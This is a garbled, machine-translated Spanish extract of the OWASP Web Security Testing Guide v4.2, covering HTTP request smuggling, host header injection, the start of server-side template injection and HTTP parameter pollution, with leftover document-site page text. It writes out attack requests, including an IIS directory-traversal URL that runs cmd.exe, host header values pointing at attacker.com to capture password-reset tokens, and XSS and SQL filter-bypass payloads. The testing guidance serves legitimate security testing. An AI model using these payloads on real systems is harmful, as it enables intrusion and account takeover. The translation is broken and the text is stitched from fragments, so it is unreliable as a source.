circunvalación de un solicitud
cortafuegos. Referirse al documento técnico original ( vinculado en la parte inferior de esta

página) para más detalles información y otros
escenarios .
Omisión del firewall de aplicaciones
Hay varios productos eso habilitar un sistema administración a detectar y bloquear una solicitud
web hostil dependiente en
alguno conocido malicioso patrón eso es incrustado en la solicitud . Para Por ejemplo , considere el
antiguo e infame Unicode.
directorio el recorrido ataque contra el servidor IIS, en el que un agresor podría romper la raíz
www por emitiendo una solicitud como :
http://target/scripts/ ..%c1%1c../winnt/system32/cmd.exe?/ c+<command_to_execute>
De por supuesto , eso es bastante fácil detectar y filtrar este ataque por la presencia de
instrumentos de cuerda como “..” y “cmd.exe” en la URL.
Sin embargo , IIS 5.0 es bastante exigente. sobre solicitudes POST cuyo cuerpo tiene hasta 48K
bytes y se trunca todo contenido eso es
más allá de este límite cuando el tipo de contenido encabezamiento es diferente de la

aplicación /x-www- form - urlencoded . El pentester
puede aprovechar este por creando un muy grande solicitud , estructurada de la siguiente
manera :
POST /target.asp HTTP/1.1 <-- Solicitud n.º 1
Anfitrión: objetivo
Conexión : Mantener vivo
<CRLF>
<49152 bytes de basura >

<CRLF>
xxxx : POST /scripts/..%c1%1c../ winnt /system32/cmd.exe?/ c+dir HTTP/1.0 <-- Solicitud n.º 4
<CRLF>
Qué sucede aquí es que la Solicitud #1 es hecho de 49223 bytes, que incluye tambien las lineas de
Solicitud # 2 .
Por lo tanto , un firewall ( o cualquier otro agente además de IIS 5.0 ) ver Solicitud #1, voluntad
fallar a ver Solicitud #2 ( sus datos serán
justo parte de #1), será ver Solicitud n.° 3 y omita la Solicitud n . ° 4 ( porque el POST será solo
parte de lo falso encabezamiento
xxxxx ).
Ahora que sucede a IIS 5.0? Él dejará de analizar Solicitud #1 justo después de los 49152 bytes de
basura ( como voluntad tener
alcanzado el límite de 48K=49152 bytes ) y por lo tanto analizar gramaticalmente Solicite el

número 2 como nuevo y separado pedido . Solicitud #2
reclamos eso es contenido es de 33 bytes, que incluye todo hasta " xxxx : ", lo que hace que IIS
pierda la Solicitud n.° 3 ( interpretada como
parte de Solicitud # 2 ) pero detecte la Solicitud n.° 4, cuando comienza su POST justo después del
byte 33 o Solicitud #2. Él es un poco
322
complicado , pero el punto es que la URL del ataque no ser detectado por el firewall ( será
interpretado como el cuerpo de
una previa petición ) pero será correctamente analizado (y ejecutado ) por IIS.
Mientras que en el caso antes mencionado la técnica explota un error de un servidor web , hay
otros escenarios en los que nosotros
puede aprovechar los diferentes maneras eso diferente habilitado para HTTP dispositivos analizar
gramaticalmente mensajes que no cumplen con 1005 RFC .
Para Por ejemplo , el protocolo HTTP. permite solo un contenido: longitud encabezado , pero hace
no especificar cómo a manejar un
mensaje eso tiene dos instancias de este encabezado . Alguno implementaciones usará el primero
uno mientras otros voluntad prefiero el
Segundo , limpiando el camino. para el contrabando HTTP ataques . Otro ejemplo es el uso del
Contenido- Longitud encabezado en un
OBTENER mensaje .
Tenga en cuenta que el contrabando HTTP * no * explota cualquier Vulnerabilidad en la aplicación

web de destino . Por lo tanto puede ser
un poco difícil , en un compromiso de prueba de penetración , para convencer al cliente que una
contramedida debe ser mirado para de todos modos .
Referencias
Libros blancos
Amit Klein, “Divide y vencerás : división de respuestas HTTP , envenenamiento de caché web
Ataques y relacionados Temas ”
Amit Klein: “ Mensaje HTTP División , Contrabando y Otros animales ”
Amit Klein: “ Solicitud HTTP Contrabando - ERRATA (el fenómeno del buffer IIS 48K )”
Amit Klein: " Contrabando de respuesta HTTP "
Chaim Linhart , Amit Klein, Ronen Heled , Steve Orrin : “ Solicitud HTTP Contrabando "
323
Pruebas para HTTP entrante Peticiones
IDENTIFICACIÓN
WSTG-INPV-16
Resumen
Este sección describe cómo para monitorear todo solicitudes HTTP entrantes / salientes en ambos
lado del cliente o del lado del servidor . El
objetivo de este pruebas es a verificar si allá es innecesario o solicitud HTTP sospechosa enviando
en segundo plano .
Mayoría de seguridad web pruebas Las herramientas (es decir, AppScan , BurpSuite , ZAP) actúan
como proxy HTTP. Este voluntad requerir cambios de apoderado
en lado del cliente solicitud o navegador. La prueba técnicas listado abajo es primario enfocado en
cómo podemos monitorear
Solicitudes HTTP sin cambios de lado del cliente cual Estará más cerca a producción uso escenario .
Monitorear todo solicitudes HTTP entrantes y salientes al servidor web para inspeccionar
cualquier sospechoso peticiones .
Monitorear el tráfico HTTP sin cambios de fin proxy del navegador del usuario o lado del cliente
solicitud .
Cómo Probar
Proxy inverso
Allá es situación eso nosotros haría como para monitorear todos los HTTP entrantes peticiones en
el servidor web pero nosotros no poder cambiar
configuración en el navegador o solicitud lado del cliente . En esto escenario , podemos configurar
un proxy inverso en el servidor web
fin para monitorear todo entrante saliente peticiones en el servidor web.
Para ventanas plataforma , violinista es recomendado . Él proporciona no solo monitorear pero

también puede editar / responder las solicitudes HTTP .
Referirse a este referencia para cómo para configurar Fiddler como proxy inverso
Para la plataforma Linux , se puede utilizar Charles Web Debugging Proxy .
La prueba pasos :
1. Instalar Violinista o Charles en el servidor web
2. Configurar el violinista o Charles como proxy inverso
3. Capture el tráfico HTTP
4. Inspeccionar el tráfico HTTP
5. Modifique las solicitudes HTTP y reproduzca las modificadas . peticiones para pruebas
Reenvío de puertos
Reenvío de puertos es otro forma a permitir a nosotros interceptar solicitudes HTTP sin cambios
de lado del cliente . También puedes usar
Charles como representante de SOCKS para actuar como puerto reenvío o usos de Port
Forwarding herramientas . Él voluntad permitir a nosotros reenviar todo
próximo lado del cliente capturado tráfico al puerto del servidor web .
La prueba fluir será :
1. Instale el Charles o puerto reenvío en otra máquina o servidor web
2. Configure el proxy Charles as Socks como puerto reenvío .

Captura de tráfico de red a nivel TCP
324
Este técnica monitorear toda la red tráfico a nivel TCP . TCPDump o alambreshark Se pueden
utilizar herramientas . Sin embargo , estos
herramientas no permitir a nosotros editar lo capturado traficar y enviar solicitudes HTTP

modificadas para pruebas . Para reproducir lo capturado tráfico
(PCAP) , se puede utilizar Ostinato .
La prueba pasos será :
1. Activar TCPDump o alambreshark en el servidor web para capturar la red tráfico
2. Monitorear los archivos capturados (PCAP)
3. Edite archivos PCAP por Ostinato herramienta basado en necesidad
4. Responda las solicitudes HTTP
Violinista o Charles son recomendados desde estos Las herramientas pueden capturar el tráfico
HTTP y también fácilmente editar / responder lo modificado
Solicitudes HTTP . Además , si el tráfico web es HTTPS, el wirehark voluntad necesidad a importar
el servidor web privado llave a
inspeccionar el mensaje HTTPS cuerpo . De lo contrario , el mensaje HTTPS cuerpo de los

capturados tráfico voluntad todo estará cifrado .
Herramientas
Violinista
TCPProxy
Proxy de depuración web Charles
alambreshark
PowerEdit-Pcap
capteller
proxy de repetición
Ostinato
Referencias
Proxy de depuración web Charles
Violinista
TCPDUMP
Ostinato
325
Pruebas para encabezado de host Inyección
IDENTIFICACIÓN
WSTG-INPV-17
Resumen
Un servidor web suele alojar varias aplicaciones web . en la misma dirección IP , refiriéndose a
cada solicitud mediante el
anfitrión virtual. en un Solicitud HTTP entrante , los servidores web a menudo enviar la solicitud al
host virtual de destino basado sobre el
valor suministrado en el encabezado del Host . Sin adecuado validación del encabezado valor , el
atacante puede proporcionar entrada inválida
para hacer que el servidor web :
despacho peticiones al primer host virtual de la lista
provocar una redirección a un controlado por el atacante dominio
realizar envenenamiento de caché web
manipular contraseña reiniciar funcionalidad
Evaluar si el encabezado del host es ser analizado dinámicamente en la aplicación .
Evitar la seguridad control S eso confiar en el encabezado .
Cómo Probar
Inicial pruebas es tan simple como suministrar otro dominio (es decir, atacante.com) en el
encabezado del host campo . Él es cómo la web
El servidor procesa el encabezado. valor eso dicta el impacto . El ataque es válido cuando el
servidor web procesa la entrada
a enviar la solicitud a un host controlado por el atacante que reside en el servidor suministrado
dominio y no a un host virtual interno
que reside en el servidor web.
OBTENER / HTTP/1.1
Anfitrión: www.attacker.com
[...]
En el caso más simple , esto puede causar una redirección 302 al suministrado dominio .
HTTP/1.1 302 encontrado
[...]
Ubicación : http://www.attacker.com/login.php
Alternativamente , el servidor web puede enviar la solicitud al primer host virtual de la lista .
X- Omisión del encabezado del host reenviado
En el caso ese encabezado de host inyección es mitigado por comprobación para entrada no válida
inyectada A través del encabezado Host , puedes
suministrar el valor al encabezado X- Forwarded -Host .
OBTENER / HTTP/1.1
X- Reenviado -Host: www.attacker.com
...
326
Potencialmente productor salida del lado del cliente como :
...
<enlace src ="http://www.attacker.com/link" />
...
Una vez más , esto depende en cómo el servidor web procesa el encabezado valor .
Envenenamiento de caché web
Usando este técnica , una El atacante puede manipular un caché web para servir datos
envenenados. contenido a alguien OMS peticiones él .
Este se basa sobre la capacidad a envenenar el proxy de almacenamiento en caché ejecutado por
la aplicación sí mismo , CDN o otro río abajo proveedores .
Como resultado , la víctima voluntad no tener control sobre recibiendo lo malicioso contenido
cuando solicitando a los vulnerables
solicitud .
OBTENER / HTTP/1.1
Anfitrión: www.attacker.com
...
La siguiente será servido desde el caché web, cuando una víctima visita la aplicación vulnerable .
...
<enlace src ="http://www.attacker.com/link" />
...
Contraseña Reiniciar Envenenamiento
Él es común para contraseña reiniciar funcionalidad a incluir el encabezado del host valor cuando
creando contraseña restablecer enlaces que
utilizar un generado ficha secreta . Si la aplicación procesos un controlado por el atacante dominio
a Crear una contraseña reiniciar
enlace, la víctima puede hacer clic en el enlace del correo electrónico y permitir que el atacante a
obtener el token de reinicio , así restablecer el
de la víctima contraseña .
... Fragmento de correo electrónico ...
Hacer clic en el siguiente enlace a reiniciar su contraseña :
http://www.attacker.com/index.php?
module=Login&action=resetPassword&token=<SECRET_TOKEN>
... Fragmento de correo electrónico ...
Referencias
Qué es un encabezado de host Ataque ?
Encabezado de host Ataque
Encabezado de host HTTP práctico Ataques
327
Pruebas para el lado del servidor Plantilla Inyección
IDENTIFICACIÓN
WSTG-INPV-18
Resumen
aplicaciones web comúnmente usan del lado del servidor plantilla tecnologías (Jinja2, Twig ,
FreeMaker , etc.) para generar
respuestas HTML dinámicas . Lado del servidor Plantilla Inyección Se producen vulnerabilidades
(SSTI) cuando la entrada del usuario es incrustado en
una plantilla en un inseguro manera y resultados en código remoto ejecución en el servidor.

Cualquier características eso apoyo
avanzado proporcionado por el usuario margen puede ser vulnerable a SSTI, incluidas páginas
wiki , reseñas , aplicaciones de marketing ,
Sistemas CMS , etc. Algunos plantilla motores emplear varios mecanismos ( por ejemplo ,
sandbox , permitir listado , etc.) a proteger

Testing For HTTP Verb Tampering

Cargado por

Información del documento

Título original

Derechos de autor

Formatos disponibles

Compartir este documento

Compartir o incrustar documentos

Opciones para compartir

¿Le pareció útil este documento?

¿Este contenido es inapropiado?

Copyright:

Formatos disponibles

Testing For HTTP Verb Tampering

Cargado por

Copyright:

Formatos disponibles

Pruebas para verbo HTTP manipulación

Este el contenido ha sido fusionado en : Probar métodos HTTP

de pruebas de seguridad web v4.2

Pruebas para el parámetro HTTP Contaminación

Parámetro HTTP Contaminación prueba la respuesta de las aplicaciones a recepción múltiples

lado del servidor y del cliente ataques existir .

Por en sí , esto es no necesariamente un indicación de vulnerabilidad . Sin embargo , si el

presencia de duplicado parámetros puede producir un anómalo comportamiento en la aplicación

Validación de entrada y omisión de filtros

En 2009, inmediatamente después de la publicación del primero investigación en el parámetro

/index.aspx?page = seleccione 1,2,3 de la tabla. Sin embargo , por explotando la concatenación de

un agresor podría provocar que el servidor de aplicaciones concatenar la cadena después de

ModSeguridad filtrar , pero la aplicación capa haría concatenar la entrada nuevamente en el

http://127.0.0.1:631/admin/?kerberos=onmouseover=alert(1)&kerberos. La aplicación validación

ejecución bajo el contexto del sitio web de alojamiento.

de pruebas de seguridad web v4.2

POST /add-authors.do HTTP/1.1

ager19test%40gmail.com ( correo electrónico del atacante )&ok=Invitar

Esperado Comportamiento por Servidor de aplicaciones

Dada la URL y la cadena de consulta : http://example.com/?color=red&color=blue

Backend del servidor de aplicaciones web Analizando Resultado Ejemplo

PHP/Apache último ocurrencia solo color = azul

PHP / Zeus último ocurrencia solo color = azul

JSP, Servlet/Apache Tomcat primero ocurrencia solo color = rojo

JSP, servlet/ embarcadero Primero ocurrencia solo color = rojo

Servidor HTTP IBM primero ocurrencia solo color = rojo

mod_perl , libapreq2/Apache primero ocurrencia solo color = rojo

Perl CGI/Apache primero ocurrencia solo color = rojo

mod_wsgi (Python) / Apache primero ocurrencia solo color = rojo

( fuente : Appsec UE 2009 Carettoni & Paola)

Identificar el backend y el análisis. método usado .

lado del cliente y lado del servidor componentes .

HPP del lado del servidor

de pruebas de seguridad web v4.2

POST datos pero con un diferente valor asignado .

Para ejemplo : si probando la cadena de búsqueda parámetro en la consulta cadena , la URL de

parámetro nombre y valor :

otro parámetros en su lugar y agregue el duplicado :

anexar lo mismo parámetro con un diferente valor :

y enviar la nueva solicitud .

mostrar gatitos , cachorros , algunos combinación de ambos ( gatitos,cachorros) o gatitos ~

Este comportamiento , ya sea usando el primero , último , o combinación de parámetros de

coherente a lo largo de todo solicitud . Si o no este comportamiento predeterminado revela un

sobre la validación y el filtrado de entradas específicas específico a una aplicación particular .

validación y otros seguridad los mecanismos son suficientes en entradas individuales, y si el

contaminado parámetros , entonces parámetro contaminación hace no revelar una

aplicación web concatenada y diferente Los componentes utilizan diferentes. ocurrencias o

desencadenar vulnerabilidades HPP .

HPP del lado del cliente

de pruebas de seguridad web v4.2

parámetro contaminación vulnerabilidades conmovedor lado del cliente componentes . Mientras

el usuario proporcionado carga útil :

& amp;HPP _PRUEBA

De nuevo , ya sea o no este comportamiento predeterminado revela un potencial vulnerabilidad

cadena parámetros utilizado en XMLHttpRequest (XHR), tiempo de ejecución atributo creación y

flash variables flashvars ).

Escáneres pasivos /activos OWASP ZAP

Parámetro HTTP Contaminación - Luca Carettoni , Stefano di Paola

Cómo a Detectar parámetro HTTP Contaminación Ataques - Crisóstomos Daniel

CAPEC-460: Parámetro HTTP Contaminación (HPP) - Evgeny Lebanidze

Descubrimiento automatizado de Parámetro Contaminación Vulnerabilidades en Aplicaciones

Torrano Giménez , Davide Balzarotti , Engin Kirda

de pruebas de seguridad web v4.2